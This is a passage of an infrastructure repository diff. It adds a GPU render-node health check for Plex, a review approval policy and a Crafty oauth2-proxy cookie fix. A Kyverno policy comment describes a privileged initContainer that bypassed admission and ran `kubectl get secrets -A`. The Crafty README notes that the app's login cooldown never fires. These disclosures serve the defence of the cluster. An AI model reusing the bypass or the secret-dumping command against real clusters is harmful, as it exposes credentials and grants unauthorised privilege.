+# EVERYTHING BELOW IS UNPRIVILEGED. /dev/dri is world-traversable, the device nodes are
+# stat()able by anyone, /sys/class/drm and /sys/bus/pci/devices are world-readable, and so
+# are the module parameters under /sys/module. Nothing here needs root, so nothing here
+# belongs in the privileged pass. (GuC/HuC *load* status lives in debugfs, which does need
+# root AND debugfs mounted; the module PARAMETER below is the unprivileged stand-in and is
+# what actually decides whether the firmware is loaded at all.)
+#
+# THE PCI SCAN IS DELIBERATELY SEPARATE FROM THE DRM SCAN. /sys/class/drm/card* only exists
+# once a driver has BOUND. A machine whose iGPU is on the bus with no driver bound has no
+# card0 at all, and that is precisely the failure this is meant to catch — so the display
+# device is looked for on the PCI bus independently, from sysfs, which is always there.
+# `lspci` is used ONLY to decorate that with a human-readable name, and it is treated as
+# optional because it IS optional: pciutils is not declared in node_baseline_packages, so
+# nothing in this repo guarantees it. It did turn out to be present on all three prod nodes
+# (/usr/bin/lspci, measured 2026-09-30 — Debian installs pciutils by default), but relying on
+# that would make the collector depend on an undeclared package. A missing lspci leaves
+# `description` null, the numeric IDs are reported instead, and no verdict changes.
+DISPLAY_PCI_CLASS_PREFIX = "0x03"  # PCI base class 03 = display controller (VGA/3D/other)
+# DRM drivers worth reporting the load state of. The bound-driver symlink is authoritative
+# (a built-in driver never appears in /proc/modules); this is corroboration only, and it is
+# how "xe.ko.xz exists on disk but is bound to nothing" becomes a visible fact.
+DRM_MODULES = ("i915", "xe", "amdgpu", "radeon", "nouveau", "nvidia")
+
+
+def _uid_name(uid):
+    try:
+        return pwd.getpwuid(uid).pw_name
+    except (KeyError, OverflowError, TypeError, OSError):
+        return None
+
+
+def _gid_name(gid):
+    """Group NAME for a numeric gid, or None when nothing resolves it.
+
+    Reported as an OBSERVED value, never asserted against a literal. The `render` group is
+    a systemd DYNAMIC allocation (it is created by systemd-sysusers, not fixed by Debian's
+    static base-passwd list), so its gid can legitimately differ after a rebuild. Plex's own
+    container init stats the device and joins whatever group owns it, so a moved gid is
+    drift to notice, not a fault to fail on."""
+    try:
+        return grp.getgrgid(gid).gr_name
+    except (KeyError, OverflowError, TypeError, OSError):
+        return None
+
+
+def _module_param(mod, param):
+    """One /sys/module/<mod>/parameters/<param>, with WHY it is missing when it is.
+
+    Three outcomes that must not be conflated: a real value; "the module exposes no such
+    parameter" (not loaded, built in, or a driver that simply has no such knob — xe has no
+    enable_guc, GuC is mandatory there); and "the file exists but is mode 0400". Most i915
+    module parameters are `i915_param_named(..., 0400, ...)` — root-only — so an
+    unprivileged pass legitimately cannot read them. Returning null with the reason keeps
+    that an honest UNKNOWN instead of a fabricated 0. read_text() also records the
+    permission denial in UNREADABLE, so the summary lists it with everything else root
+    would add."""
+    path = "/sys/module/%s/parameters/%s" % (mod, param)
+    if not os.path.exists(path):
+        return {"value": None, "reason": "%s exposes no %s parameter (module not loaded, "
+                                         "built in, or no such knob on this driver)" % (mod, param)}
+    value = read_text(path)
+    if value is None:
+        return {"value": None, "reason": "%s is not readable without root (i915 module "
+                                         "parameters are mode 0400)" % path}
+    return {"value": value, "reason": None}
+
+
+def _dev_node(path):
+    """stat() one /dev/dri entry. lstat, so a symlink is reported as the symlink it is."""
+    try:
+        st = os.lstat(path)
+    except OSError as exc:
+        UNREADABLE.append({"path": path, "reason": "stat failed: %s" % exc})
+        return None
+    return {
+        "path": path,
+        "name": os.path.basename(path),
+        "char_device": stat.S_ISCHR(st.st_mode),
+        "mode": "%04o" % stat.S_IMODE(st.st_mode),
+        "uid": st.st_uid,
+        "gid": st.st_gid,
+        "owner": _uid_name(st.st_uid),
+        "group": _gid_name(st.st_gid),
+    }
+
+
+def collect_graphics():
+    dri_dir = "/dev/dri"
+    dri_present = os.path.isdir(dri_dir)
+    devices = []
+    if dri_present:
+        for path in sorted(glob.glob(dri_dir + "/*")):
+            # /dev/dri/by-path/ is a directory of symlinks, not a device. Skipping
+            # directories rather than filtering to char devices is deliberate: anything
+            # in here that is NOT a character special file is an anomaly worth seeing, and
+            # `char_device: false` is how it becomes visible.
+            if os.path.isdir(path):
+                continue
+            entry = _dev_node(path)
+            if entry is not None:
+                devices.append(entry)
+    render_nodes = [d for d in devices if d["name"].startswith("renderD")]
+
+    # Bound DRM devices. /sys/class/drm also holds one entry per CONNECTOR
+    # (card0-HDMI-A-1, card0-DP-1 ...) — those are outputs, not devices, and are skipped.
+    cards = []
+    for cdir in sorted(glob.glob("/sys/class/drm/card[0-9]*")):
+        name = os.path.basename(cdir)
+        if "-" in name:
+            continue
+        driver = None
+        drvlink = cdir + "/device/driver"
+        if os.path.islink(drvlink):
+            driver = os.path.basename(os.path.realpath(drvlink))
+        address = None
+        devlink = cdir + "/device"
+        if os.path.islink(devlink):
+            address = os.path.basename(os.path.realpath(devlink))
+        # i915/xe publish one directory per hardware engine. vcs* is a video (H.264/HEVC)
+        # engine and vecs* the video-enhancement engine: those two are what a transcode
+        # actually runs on, so their presence is the difference between "a GPU is bound"
+        # and "this GPU can do media work".
+        engines = sorted(
+            {
+                os.path.basename(p)
+                for p in (glob.glob(cdir + "/engine/*") + glob.glob(cdir + "/device/engine/*"))
+                if os.path.isdir(p)
+            }
+        )
+        cards.append(
+            {
+                "card": name,
+                "driver": driver,
+                "pci_address": address,
+                "vendor_id": read_text(cdir + "/device/vendor"),
+                "device_id": read_text(cdir + "/device/device"),
+                "engines": engines,
+                "media_engines": [e for e in engines if e.startswith(("vcs", "vecs"))],
+            }
+        )
+
+    # Display-class devices on the PCI bus, driver bound or not.
+    pci_display = []
+    for pdir in sorted(glob.glob("/sys/bus/pci/devices/*")):
+        class_id = read_text(pdir + "/class") or ""
+        if not class_id.startswith(DISPLAY_PCI_CLASS_PREFIX):
+            continue
+        address = os.path.basename(pdir)
+        driver = None
+        if os.path.islink(pdir + "/driver"):
+            driver = os.path.basename(os.path.realpath(pdir + "/driver"))
+        description = None
+        rc, out, _ = run(["lspci", "-nn", "-s", address])
+        if rc == 0 and out.strip():
+            description = out.strip().splitlines()[0]
+        pci_display.append(
+            {
+                "address": address,
+                "class_id": class_id or None,
+                "vendor_id": read_text(pdir + "/vendor"),
+                "device_id": read_text(pdir + "/device"),
+                "revision": read_text(pdir + "/revision"),
+                "driver": driver,
+                "description": description,
+            }
+        )
+
+    loaded = set()
+    for line in (read_text("/proc/modules") or "").splitlines():
+        fields = line.split()
+        if fields:
+            loaded.add(fields[0])
+    modules = {m: (m in loaded) for m in DRM_MODULES}
+
+    # GuC/HuC. i915's `enable_guc` is a bitmask: 0 = neither, 1 = GuC submission, 2 = HuC
+    # firmware, 3 = both, -1 = whatever the driver defaults to on this platform. It is the
+    # one place the state is visible without root AND without debugfs — but the sysfs file
+    # is mode 0400, so unprivileged it usually reads back as an honest UNKNOWN. The kernel
+    # command line is the world-readable second source: an explicit `i915.enable_guc=` there
+    # is authoritative about what was ASKED for, even when the parameter file cannot be read.
+    uc = {mod: {"enable_guc": _module_param(mod, "enable_guc")} for mod in ("i915", "xe")}
+    cmdline_params = [
+        token
+        for token in (read_text("/proc/cmdline") or "").split()
+        if token.startswith(tuple("%s." % m for m in DRM_MODULES))
+    ]
+
+    return {
+        "dri_present": dri_present,
+        "devices": devices,
+        "render_nodes": render_nodes,
+        "drm_cards": cards,
+        "pci_display": pci_display,
+        "modules": modules,
+        "uc": uc,
+        "cmdline_params": cmdline_params,
+    }
+
+
 # --- Storage ------------------------------------------------------------------------
 PSEUDO_FS = {
     "proc", "sysfs", "devtmpfs", "devpts", "tmpfs", "cgroup", "cgroup2", "pstore",
@@ -1095,7 +1304,15 @@ def collect_os():
 # we only DETECT, and the role skips the SMART checks with an accurate reason.
 def collect_tools():
     tools = {}
-    for tool in ("smartctl", "nvme", "ethtool", "dmidecode", "lsblk", "lscpu"):
+    # lspci (pciutils) and vainfo (libva-utils) are BOTH optional and NEITHER is declared in
+    # node_baseline_packages, so nothing in this repo guarantees either. Measured on prod
+    # 2026-09-30: lspci IS there (/usr/bin/lspci — Debian ships pciutils by default) and
+    # vainfo is NOT. lspci only decorates the PCI display entry with a readable name; vainfo
+    # is not needed on the host at all, because Plex ships its own libva and media driver
+    # inside its container. They are probed so the report can state their presence or absence
+    # as a fact instead of leaving the reader to wonder — and so nothing here is ever tempted
+    # to install them. This role installs nothing.
+    for tool in ("smartctl", "nvme", "ethtool", "dmidecode", "lsblk", "lscpu", "lspci", "vainfo"):
         tools[tool] = which(tool)
     return tools
 
@@ -1127,6 +1344,7 @@ def main():
         "os": collect_os(),
         "dmi": collect_dmi(),
         "cpu": collect_cpu(),
+        "graphics": collect_graphics(),
         "memory": collect_memory(),
         "thermal": collect_thermal(),
         "pressure": collect_pressure(),

infra/ansible/roles/node_health/tasks/assess.yml

@@ -652,6 +652,204 @@
          ~ (', lscpu Virtualization=' ~ c.virtualization if c.virtualization else '')
          ~ (', running as a guest of ' ~ c.hypervisor_vendor if c.is_virtual_guest | bool else '') }}
 
+# --- Graphics / render device ----------------------------------------------------------
+# WHY A HEALTH CHECK AND NOT A NOTE IN A RUNBOOK. Plex transcodes on the iGPU through
+# /dev/dri/renderD128. When that node stops existing nothing fails loudly — Plex falls back
+# to software transcoding on its own and the only symptom is a hot CPU and stuttering
+# clients. A node rebuild, a BIOS setting that disables the onboard IGD, or a kernel that
+# binds a different DRM driver all produce exactly that silent degradation. It was measured
+# by hand on all three prod nodes on 2026-09-30 and found working; a fact measured once
+# decays silently, so it is re-measured on every health run instead.
+#
+# READ-ONLY, AND UNPRIVILEGED. Every fact behind these three checks comes from the
+# unprivileged pass: stat() on /dev/dri, the /sys/class/drm bound-driver symlink,
+# /sys/bus/pci/devices class codes, /proc/modules and /proc/cmdline. The role installs
+# nothing (no vainfo, no pciutils), loads no module and changes no group — see the role
+# README. The ONE fact that is root-gated is i915's enable_guc module parameter (mode 0400),
+# and it reports as an honest UNKNOWN with the reason rather than as a 0.
+#
+# THE THREE VERDICTS ARE SPLIT ON PURPOSE:
+#   graphics.render_device  the OUTCOME — can anything hardware-transcode on this node.
+#   graphics.drm_driver     the CAUSE side — what is bound, and is it what this site expects.
+#   graphics.media_stack    INFO only. GuC/HuC and host VAAPI userspace both belong here and
+#                           NEITHER is ever a failure; see the task's own comment for why.
+- name: Assess — locate the display device and its bound driver (once, shared by three checks)
+  ansible.builtin.set_fact:
+    node_health_render:
+      # Display-class PCI devices (base class 0x03), driver bound or not. This is the
+      # question "is there a GPU in this machine at all", and it is answered from the PCI
+      # bus rather than from /sys/class/drm because a card* entry only exists once a driver
+      # has BOUND — so a GPU with nothing bound to it has no card* and would otherwise look
+      # identical to a machine with no GPU.
+      display_devices: "{{ g.pci_display }}"
+      bound_drivers: >-
+        {{ g.pci_display | map(attribute='driver') | select('string') | unique | list }}
+      # Only a CHARACTER SPECIAL file is a usable render node. Anything else called renderD*
+      # is an anomaly, not a device, and must not be counted as one.
+      render_chardevs: "{{ g.render_nodes | selectattr('char_device') | list }}"
+      # Video (vcs*) and video-enhancement (vecs*) engines across every bound card — the
+      # difference between "a GPU is bound" and "this GPU can do media work".
+      media_engines: >-
+        {{ g.drm_cards | map(attribute='media_engines') | flatten | unique | sort | list }}
+  vars:
+    ansible_become: false
+    g: "{{ node_health_facts.graphics }}"
+
+- name: Assess — DRM render node for hardware transcoding
+  ansible.builtin.set_fact:
+    node_health_checks: "{{ node_health_checks + [{
+      'id': 'graphics.render_device',
+      'title': 'DRM render node present for hardware transcoding (/dev/dri/renderD*)',
+      'status': render_status,
+      'detail': render_detail }] }}"
+  vars:
+    ansible_become: false
+    g: "{{ node_health_facts.graphics }}"
+    r: "{{ node_health_render }}"
+    # SKIP, not PASS and not FAIL, when the machine has no display device at all: there is
+    # then nothing to grade, and the same convention thermal.max already uses for "no sensor
+    # on this hardware" applies. FAIL is reserved for the state that actually breaks Plex —
+    # a GPU IS on the bus and there is still no render node.
+    render_status: >-
+      {{ 'SKIP' if (r.display_devices | length) == 0
+         else ('PASS' if (r.render_chardevs | length) > 0 else 'FAIL') }}
+    dri_listing: >-
+      {{ (g.devices | map(attribute='name') | join(', ')) if (g.devices | length) > 0
+         else 'nothing' }}
+    render_detail: >-
+      {%- if (r.display_devices | length) == 0 -%}
+      this machine exposes no display-class PCI device (base class 0x03) at all, so there is
+      no GPU here for a render node to belong to and hardware transcoding is not available on
+      this node by construction. Normal for a VM guest. Measured from /sys/bus/pci/devices,
+      not assumed.
+      {%- elif (r.render_chardevs | length) > 0 -%}
+      {{ r.render_chardevs | length }} render node(s):
+      {% for d in r.render_chardevs %}{{ d.path }} (character special, mode {{ d.mode }},
+      owner {{ d.owner | default(d.uid, true) }}, group {{ d.group | default('unresolved', true) }}
+      gid {{ d.gid }}){{ ', ' if not loop.last else '' }}{% endfor %}.
+      /dev/dri holds: {{ dri_listing }}.
+      THE OWNING GROUP AND GID ARE REPORTED AS OBSERVED, NEVER ASSERTED against a literal:
+      `render` is a systemd DYNAMIC allocation rather than a Debian static one, so a rebuilt
+      node may legitimately land on a different number (all three prod nodes read gid 992 on
+      2026-09-30), and Plex's container entrypoint stats the device and joins whichever group
+      owns it. Drift is therefore visible in this line without being a failure.
+      {%- else -%}
+      HARDWARE TRANSCODING IS BROKEN ON THIS NODE. A display-class device IS present on the
+      PCI bus ({{ r.display_devices | map(attribute='address') | join(', ') }}) but there is
+      no usable character-special render node: /dev/dri
+      {{ 'does not exist' if not (g.dri_present | bool) else 'holds ' ~ dri_listing }}.
+      {{ ('Note that /dev/dri holds ' ~ (g.render_nodes | map(attribute='name') | join(', '))
+      ~ ' — present, but NOT character special, which is an anomaly in its own right. ')
+         if (g.render_nodes | length) > 0 else '' }}
+      Nothing fails loudly in this state — Plex silently falls back to software transcoding
+      and the only symptom is CPU load. Check graphics.drm_driver below for whether a DRM
+      driver bound at all, then whether the onboard IGD is still enabled in BIOS.
+      {%- endif -%}
+
+- name: Assess — DRM driver bound to the display device
+  ansible.builtin.set_fact:
+    node_health_checks: "{{ node_health_checks + [{
+      'id': 'graphics.drm_driver',
+      'title': 'DRM driver bound to the display device (expected ' ~ expected ~ ')',
+      'status': driver_status,
+      'detail': driver_detail }] }}"
+  vars:
+    ansible_become: false
+    g: "{{ node_health_facts.graphics }}"
+    r: "{{ node_health_render }}"
+    expected: "{{ node_health_graphics_expected_driver }}"
+    # WARN rather than FAIL when a DIFFERENT driver is bound (the `xe` case): the device
+    # still works, but the userspace media stack is not the same one, so it is a change the
+    # operator must see before a transcode regression surfaces as a user complaint. FAIL is
+    # for nothing bound at all, which is the cause of a missing render node.
+    driver_status: >-
+      {{ 'SKIP' if (r.display_devices | length) == 0
+         else ('FAIL' if (r.bound_drivers | length) == 0
+               else ('PASS' if expected in r.bound_drivers else 'WARN')) }}
+    driver_detail: >-
+      {%- if (r.display_devices | length) == 0 -%}
+      no display-class PCI device on this machine, so no DRM driver can be bound to one.
+      Measured from /sys/bus/pci/devices.
+      {%- else -%}
+      {% for p in r.display_devices %}{{ p.address }}
+      {{ p.description | default(((p.vendor_id | default('?', true)) ~ ':' ~ (p.device_id | default('?', true))), true) }}
+      -> driver {{ p.driver | default('NONE BOUND', true) }}{{ '; ' if not loop.last else '' }}{% endfor %}.
+      {{ ('DRM cards: ' ~ (g.drm_cards | map(attribute='card') | zip(g.drm_cards | map(attribute='driver'))
+           | map('join', '=') | join(', ')) ~ '. ') if (g.drm_cards | length) > 0
+         else 'No /sys/class/drm/card* entry exists, which is consistent with no driver being bound. ' }}
+      Module load state (/proc/modules, corroboration only — a built-in driver never appears
+      there, the bound-driver symlink above is what decides):
+      {{ g.modules | dict2items | map(attribute='key') | zip(g.modules | dict2items | map(attribute='value') | map('string'))
+         | map('join', '=') | join(', ') }}.
+      {%- if (r.bound_drivers | length) == 0 %}
+      NOTHING IS BOUND to the display device. That is why there is no render node: the DRM
+      subsystem creates /dev/dri/renderD* only when a driver attaches. Check whether the
+      module exists for this kernel and whether it was blacklisted or failed to probe.
+      {%- elif expected in r.bound_drivers %}
+      This is the expected driver for this site (node_health_graphics_expected_driver).
+      {%- else %}
+      EXPECTED `{{ expected }}`, GOT `{{ r.bound_drivers | join(', ') }}`. The device still
+      works, so this is not an outage — but the two DRM drivers do not share a userspace
+      media stack, and a libva/iHD build that transcodes correctly against one is not
+      automatically right for the other. Confirm Plex still hardware-transcodes before
+      treating this as benign.
+      {%- endif %}
+      {%- endif -%}
+
+# INFO ONLY, AND THAT IS A DELIBERATE RULING, NOT AN OVERSIGHT:
+#
+#   GuC/HuC firmware not loaded (i915.enable_guc=0) — the accepted state on these nodes. It
+#   costs low-power H.264 encode QUALITY, nothing else; decode and encode both still work
+#   through the media engines. Grading it would put a permanent WARN on a configuration the
+#   operator has chosen.
+#   No host VAAPI userspace / no `vainfo` — NOT a defect. Plex ships its own libva and media
+#   driver inside its container, so the host needs neither. Flagging it would invite someone
+#   to `apt install vainfo` on a node to clear a health check, and this role installs nothing.
+#
+# The media ENGINES are the fact worth watching in this line: vcs* (video) and vecs*
+# (video-enhancement) are what a transcode actually runs on.
+- name: Assess — media engines, GuC/HuC firmware and host VAAPI userspace (informational)
+  ansible.builtin.set_fact:
+    node_health_checks: "{{ node_health_checks + [{
+      'id': 'graphics.media_stack',
+      'title': 'Media engines, GuC/HuC firmware and host VAAPI userspace (informational)',
+      'status': ('SKIP' if (node_health_render.display_devices | length) == 0 else 'INFO'),
+      'detail': media_detail }] }}"
+  vars:
+    ansible_become: false
+    g: "{{ node_health_facts.graphics }}"
+    r: "{{ node_health_render }}"
+    # `.get()` rather than a subscript: uc only carries the two Intel drivers, and a site
+    # that set the expected driver to amdgpu must get a clean "no such parameters" line
+    # instead of an undefined-key traceback.
+    guc: "{{ g.uc.get(node_health_graphics_expected_driver) }}"
+    guc_text: >-
+      {{ ('enable_guc=' ~ guc.enable_guc.value) if (guc is mapping and guc.enable_guc.value is not none)
+         else ('NOT READ — ' ~ (guc.enable_guc.reason | default('no reason recorded', true))
+               if guc is mapping
+               else 'no /sys/module/' ~ node_health_graphics_expected_driver ~ '/parameters at all') }}
+    media_detail: >-
+      {%- if (r.display_devices | length) == 0 -%}
+      no display-class PCI device on this machine, so there is no media engine, no GuC/HuC
+      firmware and nothing to transcode with.
+      {%- else -%}
+      media engines:
+      {{ (r.media_engines | join(', ')) if (r.media_engines | length) > 0
+         else 'NONE exposed under /sys/class/drm/card*/engine — a bound driver with no vcs*/vecs* engine cannot do media work' }}
+      (all engines: {{ (g.drm_cards | map(attribute='engines') | flatten | unique | sort | join(', ')) | default('none', true) }}).
+      GuC/HuC: {{ guc_text }}.
+      {{ ('Kernel cmdline carries ' ~ (g.cmdline_params | join(' '))) if (g.cmdline_params | length) > 0
+         else 'No i915/xe parameter on the kernel cmdline' }}.
+      GuC/HuC being off is a KNOWN, ACCEPTED state here and is never graded: it costs
+      low-power H.264 encode quality only, and both decode and encode still run on the
+      engines above.
+      Host VAAPI userspace: vainfo
+      {{ ('present at ' ~ node_health_facts.tools.vainfo) if node_health_facts.tools.vainfo
+         else 'NOT installed on this host' }}
+      — also never graded, because Plex ships its own libva and media driver inside its
+      container, so the host needs none. This role installs nothing.
+      {%- endif -%}
+
 # --- Thermals -----------------------------------------------------------------------
 - name: Assess — temperatures
   ansible.builtin.set_fact:

infra/ansible/roles/node_health/templates/summary.txt.j2

@@ -136,6 +136,37 @@
 {% endfor %}
 {% endfor %}
 
+--------------------------------------------------------------------------------
+ GRAPHICS / RENDER DEVICE (the Plex hardware-transcoding path)
+--------------------------------------------------------------------------------
+{% set gfx = node_health_facts.graphics %}
+{% if gfx.pci_display %}
+{% for p in gfx.pci_display %}
+ pci  {{ '%-12s' | format(p.address) }} {{ p.description | default(((p.vendor_id | default('?', true)) ~ ':' ~ (p.device_id | default('?', true)) ~ ' class ' ~ (p.class_id | default('?', true))), true) }}
+              driver {{ p.driver | default('NONE BOUND', true) }}
+{% endfor %}
+{% else %}
+ pci         no display-class device (PCI base class 0x03) on this machine — no GPU here
+{% endif %}
+{% for c in gfx.drm_cards %}
+ drm  {{ '%-12s' | format(c.card) }} driver {{ '%-8s' | format(c.driver | default('-', true)) }} at {{ c.pci_address | default('-', true) }}  engines {{ c.engines | join(' ') | default('none exposed', true) }}
+{% endfor %}
+{% if gfx.dri_present %}
+{% for d in gfx.devices %}
+ dev  {{ '%-12s' | format(d.name) }} {{ '%-18s' | format('character special' if d.char_device else 'NOT A CHAR DEVICE') }} mode {{ d.mode }}  {{ d.owner | default(d.uid, true) }}:{{ d.group | default('(gid unresolved)', true) }} gid {{ d.gid }}
+{% endfor %}
+{% else %}
+ dev         /dev/dri DOES NOT EXIST — no DRM device node on this node at all
+{% endif %}
+{# GID is printed, never asserted: `render` is a systemd dynamic allocation, so a rebuild may
+   legitimately move it and Plex's container init joins whichever group owns the device. See
+   defaults/main.yml (node_health_graphics_expected_driver) for the full reasoning. #}
+{% set guc = gfx.uc.get(node_health_graphics_expected_driver) %}
+ GuC/HuC     {{ ('enable_guc=' ~ guc.enable_guc.value) if (guc and guc.enable_guc.value is not none) else (('NOT READ — ' ~ (guc.enable_guc.reason | default('no reason recorded', true))) if guc else ('no /sys/module/' ~ node_health_graphics_expected_driver ~ '/parameters')) | regex_replace('\s+', ' ') | trim | wordwrap(64) | indent(14) }}
+             {{ ('kernel cmdline: ' ~ (gfx.cmdline_params | join(' '))) if gfx.cmdline_params else 'no i915/xe parameter on the kernel cmdline' }}
+ modules     {% for m, loaded in gfx.modules.items() %}{{ m }}={{ loaded | string | lower }}{{ ', ' if not loop.last }}{% endfor %} (/proc/modules — corroboration only; the bound-driver symlink above decides)
+ vainfo      {{ node_health_facts.tools.vainfo | default('NOT installed on this host — not a defect: Plex ships its own libva/media driver inside its container', true) }}
+
 --------------------------------------------------------------------------------
  PRESSURE STALL (/proc/pressure — % of wall time stalled)
 --------------------------------------------------------------------------------

infra/gitea/approval-policy.json

@@ -0,0 +1,28 @@
+{
+  "_intent": "The CI/CD pipeline is the approver. A human approval is required ONLY for changes that alter what the pipeline itself verifies, or the security posture it rests on -- because those are the changes CI cannot honestly gate: a PR that weakens the gate would be approved by the weakened gate.",
+  "_rule": "If a PR touches any sensitive_paths glob, it needs an APPROVED review from someone who is not its author. Everything else merges on a green gate alone.",
+  "_on_failure_to_evaluate": "BLOCK. Unlike gitea-settings, a skip here is a bypass, not a gap.",
+  "sensitive_paths": [
+    "ci/**",
+    ".gitea/**",
+    "conformance/**",
+    "clusters/**",
+    "bootstrap/**",
+    "infra/gitea/**",
+    "platform/kyverno/**",
+    "platform-config/kustomization.yaml",
+    ".sops.yaml",
+    "**/*.sops.yaml",
+    "**/rbac.yaml",
+    "CLAUDE.md"
+  ],
+  "_why_each": {
+    "ci/**, .gitea/**": "the pipeline itself -- the thing doing the approving",
+    "conformance/**": "the tests and the harness; changing them changes what green MEANS",
+    "clusters/**, bootstrap/**": "Flux wiring -- what reconciles, in what order, with what substitution",
+    "infra/gitea/**, platform-config/kustomization.yaml": "branch protection, the drift detector, and the list that decides which admission policies are actually applied",
+    "platform/kyverno/**": "the admission policy engine",
+    ".sops.yaml, **/*.sops.yaml, **/rbac.yaml": "encryption recipients, secrets, and cluster authority",
+    "CLAUDE.md": "the delivery contract agents follow"
+  }
+}

platform/crafty/README.md

@@ -49,9 +49,49 @@ Crafty's UI is gated by a **dedicated oauth2-proxy sidecar in the Crafty pod** (
 `crafty.home.keithjackson.dev`). The `crafty` Service targets the sidecar, never Crafty's `:8443`, so
 the gate is **in the data path** (fail-closed: no valid `platform-admins` session ⇒ no upstream).
 
-> **Note:** Crafty ALSO has its own local admin login (it has no OIDC). After oauth2-proxy admits the
-> user, they still see Crafty's own login page — a second, defense-in-depth factor. The operator logs
-> in with Crafty's local admin credentials (set on first boot). This is expected, not a bug.
+#### Cookie isolation (why the session used to vanish)
+
+This sidecar and the **shared** forward-auth oauth2-proxy are independent instances with **different
+`cookie-secret` values** (measured in-cluster — neither can decrypt the other's cookie). Both used to
+emit oauth2-proxy's *default* cookie names (`_oauth2_proxy`, `_oauth2_proxy_csrf`) scoped to
+`.home.keithjackson.dev`, so the browser held **one** cookie pair for **both**: whichever proxy
+authenticated last clobbered the other's session, and the loser logged
+`No valid authentication in request`, bounced to Keycloak, and — because the Keycloak SSO session was
+still live — was redirected straight back, clobbering the cookie again. That mutual eviction presents
+exactly as *"I signed in to Keycloak but I'm still not signed in."*
+
+Fixed on this side only (renaming the shared proxy's cookie would sign out every other gated app):
+`--cookie-name=_oauth2_proxy_crafty` and a **host-scoped** `--cookie-domain=crafty.home.keithjackson.dev`.
+`--whitelist-domain` stays zone-wide — it governs post-login *redirect* targets, not cookie scope.
+
+#### Crafty's own local login — this is where setup actually blocks
+
+Crafty has **no OIDC**, so after oauth2-proxy admits the user they still meet Crafty's own
+username/password page. That second factor is intended. What was **not** intended — and what made the
+service impossible to set up — is that **nothing documented where that password comes from**.
+
+Crafty generates it **once, on first boot only**, when the users table is empty
+(`main.py` `FRESH_INSTALL` → `DatabaseBuilder.default_settings()`), and writes it to
+**`/crafty/app/config/default-creds.txt`** (mode `0600`, on the `config` subPath of the PVC). It is
+**never** in git and **cannot** be recovered from git: a rebuild onto a fresh PVC generates a *new*
+random password. Submitting anything else yields `POST /api/v2/auth/login/` → **401**, which is exactly
+what a browser sees with no hint as to why.
+
+**→ Retrieval, rotation, and lost-password recovery: [`../../runbooks/crafty-admin-credential.md`](../../runbooks/crafty-admin-credential.md).**
+
+Two traps that runbook covers:
+
+- Crafty's `set_passwd` console command is **unreachable** in Kubernetes — it calls
+  `getpass.getpass()` and so needs a TTY, while the container runs `main.py -d -i` (daemon).
+  Recovery therefore has to go through the DB with Crafty's own argon2 hasher.
+- Crafty's own 3-strikes brute-force cooldown is **inert behind this sidecar**, verified live. Crafty
+  *records* failed attempts under `get_remote_ip()` (which honours `X-Forwarded-For` — the live
+  tracker key is the chain `"192.168.2.132, 10.0.0.123"`) but *checks* for a cooldown under
+  `self.request.remote_ip`, which behind the sidecar is always `127.0.0.1`. The two halves key
+  differently, so `get_recent_attempts()` always reads an empty list and `max_login_attempts: 3`
+  never fires. Good news for the operator (**repeated guesses cannot lock you out**), but it means
+  the only thing actually limiting who can reach the login form is the oauth2-proxy
+  `platform-admins` gate — worth knowing before anyone treats that cooldown as a control.
 
 ### Keycloak client
 

platform/crafty/deployment.yaml

@@ -150,7 +150,27 @@ spec:
             # Single provider => 302 straight to Keycloak, no oauth2-proxy interstitial button.
             - --skip-provider-button=true
             - --redirect-url=https://crafty.${BASE_DOMAIN}/oauth2/callback
-            - --cookie-domain=.${BASE_DOMAIN}
+            # ── COOKIE ISOLATION (bug fix 2026-09-29) ────────────────────────────────────────────
+            # This sidecar and the SHARED forward-auth oauth2-proxy (platform/oauth2-proxy) are
+            # INDEPENDENT instances holding DIFFERENT cookie-secrets (verified in-cluster: the two
+            # `cookie-secret` values differ, so neither can decrypt the other's cookie). Both used
+            # to emit oauth2-proxy's DEFAULT cookie names (`_oauth2_proxy` and `_oauth2_proxy_csrf`)
+            # scoped to `.${BASE_DOMAIN}`, so the browser kept ONE pair of cookies for BOTH proxies:
+            # whichever authenticated last overwrote the other's session, and the loser then logged
+            # "No valid authentication in request" and bounced to Keycloak -- which, thanks to the
+            # live Keycloak SSO session, silently redirected back and overwrote the cookie again.
+            # That mutual eviction presents EXACTLY as the reported symptom: "I signed in to
+            # Keycloak but I am still not signed in to the app."
+            # Two independent fixes, both applied here (only this side changes -- renaming the
+            # SHARED proxy's cookie would sign every other gated app out):
+            #   1. --cookie-name: a unique name, so the two sessions cannot alias at all.
+            #   2. --cookie-domain: HOST-scoped. A per-app reverse proxy has no reason to broadcast
+            #      its session to every other host in the zone; the shared proxy keeps the wide
+            #      scope because cross-host forward-auth is precisely its job.
+            # --whitelist-domain deliberately stays zone-wide: it governs permitted post-login
+            # REDIRECT targets, not cookie scope.
+            - --cookie-name=_oauth2_proxy_crafty
+            - --cookie-domain=crafty.${BASE_DOMAIN}
             - --whitelist-domain=.${BASE_DOMAIN}
             - --cookie-secure=true
             - --pass-access-token=true

platform/kyverno/admission/conformance-trigger-job-shape.yaml

@@ -142,3 +142,236 @@ spec:
                   - key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
                     operator: Equals
                     value: false
+
+    # =========================================================================================
+    # ADDED 2026-09-29 — THE THREE RULES ABOVE WERE BYPASSABLE VIA `initContainers`.
+    #
+    # Every rule above reads `spec.template.spec.containers` (rule 1's pattern, rule 3's
+    # `containers[0].args`) or `volumes` (rule 2). NONE of them read `initContainers`. So the
+    # exact escalation this policy exists to stop — the privileged `conformance-runner` SA
+    # executing an arbitrary command, because Kubernetes places no `use` check on
+    # `serviceAccountName` — was reachable one field over, with `containers[0]` left fully
+    # compliant. MEASURED with the pinned CLI (kyverno v1.19.0) before this rule existed:
+    #
+    #   a Job with serviceAccountName conformance-runner and an initContainer
+    #   `docker.io/library/alpine:latest`, `privileged: true`, running `kubectl get secrets -A`
+    #     ->  pass: 3, fail: 0, warn: 0, error: 0, skip: 0        # ADMITTED
+    #
+    # `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
+    #
+    # WHY THIS PINS A PATH IN THE IMAGE RATHER THAN VETTING A SCRIPT. An init container IS
+    # needed — the suite has to be cloned at the commit under test. But while the clone logic
+    # lived inline as `command: ["/bin/bash","-c"]` + `args: [<script>]`, no policy could tell
+    # the committed script from an attacker's: both are just `args` on a shell. So the clone
+    # logic moved into the runner image at a fixed path
+    # (conformance/incluster/conformance-clone -> /usr/local/bin/conformance-clone) and this
+    # rule pins `command` to that path with NO args. An admitted init container therefore
+    # carries no caller-supplied code at all — only the commit SHA, in env, which the entrypoint
